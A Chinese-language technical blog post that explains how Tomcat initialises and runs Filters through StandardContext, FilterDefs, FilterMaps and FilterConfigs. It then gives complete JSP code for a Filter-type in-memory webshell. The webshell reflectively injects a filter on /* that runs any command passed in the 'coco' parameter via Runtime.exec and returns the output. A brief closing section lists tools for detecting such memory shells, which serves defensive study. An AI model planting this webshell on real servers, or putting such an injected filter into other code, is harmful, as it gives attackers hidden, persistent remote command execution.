Servlet

当处理请求的时候:请求 → Listener → Filter → Servlet

Listener

Listener也称之为监听器,可以监听Application、Session和Request对象的创建、销毁事件,以及监听对其中添加、修改、删除属性事件,并自动执行自定义的功能。

Filter

Filter也称之为过滤器,可以动态地修改HttpServletRequest,HttpServletResponse中的头和数据。

Servlet

Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Servlet 可以理解为某一个路径后续的业务处理逻辑。

Tomcat是http服务器+servlet容器,当Tomcat作为Servlet容器的时候,讲http请求文本解析之后封装成HttpServletRequest类型的request对象,传递给Servlet,同时讲相应的信息封装为HttpServletResponse类型的response对象,将response对象交给tomcat,tomcat格式化之后返回给浏览器

Tomcat

容器组件(Container)

Tomcat有四种类型的Servlet容器组件,从上到下:

  1. Engine:org.apache.catalina.core.StandardEngine
    • 最顶层容器组件,其下可以包含多个Host
  2. Host: org.apache.catalina.core.StandardHost
    • 一个Host代表一个虚拟主机,其下可以包含多个 Context。
  3. Context: org.apache.catalina.core.StandardContext
    • 一个Context 代表一个Web应用,其下可以包含多个 Wrapper
  4. Wrapper: org.apache.catalina.core.StandardWrapper
    • 一个Wrapper 代表一个Servlet

每个Host下可以有多个Context(Context是Host的子容器),每个Context都代表一个具体的Web应用,都有一个唯一的路径就相当于下图中的/shop/manager这种,在一个 Context下可以有着多个Wrapper, Wrapper主要负责管理Servlet, 包括的Servlet的装载、初始化、执行以及资源回收

*Context

ServletContext

javax.servlet.ServletContext里面,Servlet规定了ServletContext接口:

ApplicationContext

org.apache.catalina.core.ApplicationContext里面,ApplicationContext类是ServletContext的接口实现,ApplicationContext类的实例和StandardContext的每个实例相关联,比如向StandardContext实例添加fiterDef

StanderContext

org.apache.catalina.Context的默认标准实现为org.apache.catalina.core.StandardContext,表示每一个web应用

Tomcat下Filter的实现逻辑

Filter的初始化

在IDEA里面新建项目之后新增测试代码:

//TestFilter.java
package basic;

import javax.servlet.*;
import java.io.IOException;

public class TestFilter implements Filter {
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter Exec init");
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Filter Exec doFilter");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    public void destroy() {

    }
}
//TestServlet.java
package basic;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet(name = "TestServlet", urlPatterns = {"/TestServlet"})
public class TestServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException{
        PrintWriter out = response.getWriter();
        out.println("Hello GET~");
        out.flush();
        out.close();
    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException{
        PrintWriter out = response.getWriter();
        out.println("Hello POST~");
        out.flush();
        out.close();
    }
}

然后在web.xml里面新增Filter的配置项:


<filter>
    <filter-name>TestFilter</filter-name>
    <filter-class>basic.TestFilter</filter-class>
</filter>

<filter-mapping>
    <filter-name>TestFilter</filter-name>
    <url-pattern>/TestServlet</url-pattern>
</filter-mapping>

在web.xml这个文件里面,<filter></filter>标签其实对应的就是org.apache.tomcat.util.descriptor.web.FilterDef<filter-mapping></filter-mapping>标签对应的是org.apache.tomcat.util.descriptor.web.FilterMap

StandardContext类中的startInternal方法里可以看到这样的加载顺序:

先启动listener,再者是Filter,最后是Servlet。详细分析filterStart中是如何加载Filter链的,相关代码如下图所示:

首先通过遍历从filterDefs中获取key和value,将value封装为ApplicationFilterConfig对象放入filterConfigs变量中。
然后在StandardContext的add方法下断点:

Tomcat会先在ContextConfig.java里面从web.xml读取已定义的Filter,然后加入到StandardContext的实例化context里面:

上面的两个方法都在StandardContext里面:

接着是org.apache.catalina.core.StandardContext#filterStart根据已有的filterDefs,遍历之后存储到filterConfigs里面:

经过上面几个步骤的处理,tomcat启动初始化完成,把web.xml里面的Filter包装好之后放在了StandardContext
总结来说是这几个步骤:

  1. 我们在代码里面定义好Filter的处理逻辑
  2. Tomcat根据web.xml的配置包装成FilterDef和FilterMap,分别添加到filterDefs和filterMaps,这两个对象的定义都在org.apache.tomcat.util.descriptor.web包里面
  3. 遍历filterDefs对象使用ApplicationFilterConfig对value进行封装,封装之后的对象放入filterConfigs
  4. 这个时候在StandardContext里面有三种对象初始化完成: FilterDefsFilterconfigsFilterMaps

PS: 再这个阶段Tomcat会运行Filter里面的代码

Filter的运行逻辑

以上是Tomcat启动过程,回到上面讲的tomcat容器组件关系图, 在容器组件结构中最底层的是org.apache.catalina.core.StandardWrapper,在对应的源代码里面可以看到构造函数:

/**
 * Create a new StandardWrapper component with the default basic Valve.
 */
public StandardWrapper() {

    super();
    swValve=new StandardWrapperValve();
    pipeline.setBasic(swValve);
    broadcaster = new NotificationBroadcasterSupport();

}

org.apache.catalina.core.StandardWrapperValve#invoke里面调用了Filter相关的逻辑代码:

此时发起一个Get请求,打断点跟进org.apache.catalina.core.ApplicationFilterFactory#createFilterChain:

到最后返回了filterChains对象,接着返回执行filterChain.doFilter(request.getRequest(), response.getResponse());:

跟进之后会进入到org.apache.catalina.core.ApplicationFilterChain#internalDoFilter:

跟进之后进入我们自定义的Filter逻辑里面去:

来自宽字节师傅的总结图:

来自大木头师傅的总结:

  1. 根据请求的URL从FilterMaps中找出与之URL对应的Filter名称
  2. 根据Filter名称去FilterConfigs中寻找对应名称的FilterConfig
  3. 找到对应的FilterConfig之后添加到 FilterChain中,并且返回FilterChain
  4. filterChain中调用 internalDoFilter遍历获取 chain 中的 FilterConfig ,然后从FilterConfig中获取Filter,然后调用Filter的doFilter方法

至此Filter的处理流程分析完成,主要分两个大部分,Filter的初始化和Filter的运行逻辑,如果要在tomcat里面插入Filter类型的木马,首先需要在代码里面完成Filter初始化的流程:

  1. 创建恶意Filter
  2. 使用FilterDef对Filter包装
  3. 将FilterDef加入到FilterDefs,遍历FilterDefs包装为FilterConfigs
  4. 创建FilterMap,将Filter和urlpattern对应,存放到filterMaps
  5. 把创建的FilterDefsFilterconfigsFilterMaps放到StandardContext

创建内存马

为了获取到StandardContext对象,我们需要先搞清楚这个对象在整Tomcat里面的结构位置:
StandardContext –> ApplicationContext –> ApplicationContextFacade

从最上层开始在org.apache.catalina.core.ApplicationContextFacade可以找到ApplicationContext:

根据学到的反射原理和网上大部分Filter类型的内存马,调试如下的代码:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
  String filterName = "coco";
  //获取ApplicationContextFade对象,ApplicationContextFade是ServletContext的实现,所以其实是ServletContext对象
  ServletContext servletContext = request.getSession().getServletContext();
  Field appctx = null;
  try {
    appctx = servletContext.getClass().getDeclaredField("context"); //从ApplicationContextFade获取context,这里context是指ApplicationContext
  } catch (NoSuchFieldException e) {
    e.printStackTrace();
  }
  appctx.setAccessible(true);
  ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //获取ApplicationContext

  out.write("success");
%>

最开始的代码是ServletContext servletContext = request.getSession().getServletContext();,如果看了org.apache.catalina.core.ApplicationContextFacade就明白这里是一个servletContext对象的实现,所以使用servletContext来表示,接下来就是通过反射获取ApplicationContextFacade的私有变量context,实际上就是ApplicationContext,然后同样的方法去ApplicationContext通过反射获取StandardContext

完整代码:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
try{
  //获取ApplicationContextFade对象,ApplicationContextFade是ServletContext的实现,所以其实是ServletContext对象
  ServletContext servletContext = request.getSession().getServletContext();
  Field appctx = null;
  try {
    appctx = servletContext.getClass().getDeclaredField("context"); //从ApplicationContextFade获取context,这里context是指ApplicationContext
  } catch (NoSuchFieldException e) {
    e.printStackTrace();
  }
  appctx.setAccessible(true);
  ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //获取ApplicationContext

  Field standCtx = applicationContext.getClass().getDeclaredField("context");
  standCtx.setAccessible(true);
  StandardContext standardContext = (StandardContext) standCtx.get(applicationContext);


  Filter filter = new Filter() {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        if (req.getParameter("coco") !=null) {
          InputStream in = Runtime.getRuntime().exec(req.getParameter("coco")).getInputStream();
          Scanner s = new Scanner(in).useDelimiter("\\A");
          String output = s.hasNext() ? s.next() : "";
          servletResponse.getWriter().write(output);
          return;
      }
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {

    }
  };

  //把创建好的filter包装为FilterDef对象
  String filterName = "coco";
  FilterDef filterDef = new FilterDef();
  filterDef.setFilter(filter);
  filterDef.setFilterName(filterName);
  filterDef.setFilterClass(filter.getClass().getName());
  standardContext.addFilterDef(filterDef);  //调用addFilterDef加入到filterDefs

  //创建FilterMap并且加入到filterMaps
  FilterMap filterMap = new FilterMap();
  filterMap.setFilterName(filterName);
  filterMap.addURLPattern("/*");
  filterMap.setDispatcher(DispatcherType.REQUEST.name());
  standardContext.addFilterMapBefore(filterMap);

  //从standardContext获取filterConfigs对象
  Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
  Configs.setAccessible(true);
  Map filterConfigs = (Map) Configs.get(standardContext);


  //利用反射创建filterConfig
  Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
  constructor.setAccessible(true);
  ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
  filterConfigs.put(filterName,filterConfig);


  out.write("success");
} catch (Exception e) {
  e.printStackTrace();
}
%>

内存马的排查

参考天下大木头师傅,主要有两种排查方式:

采用字节码的方式

  1. https://github.com/alibaba/arthas
  2. https://github.com/LandGrey/copagent

扫描获取已有的filter

https://github.com/c0ny1/java-memshell-scanner
通过反射获取StandardContext里面所有的filter, Filter/Servlet型内存马的扫描抓捕与查杀:

request.getSession().getServletContext() {ApplicationContextFacade}
  -> context {ApplicationContext} 
    -> context {StandardContext}
      * filterDefs
      * filterMaps
      * children
      * servletMappings

参考

⬆︎TOP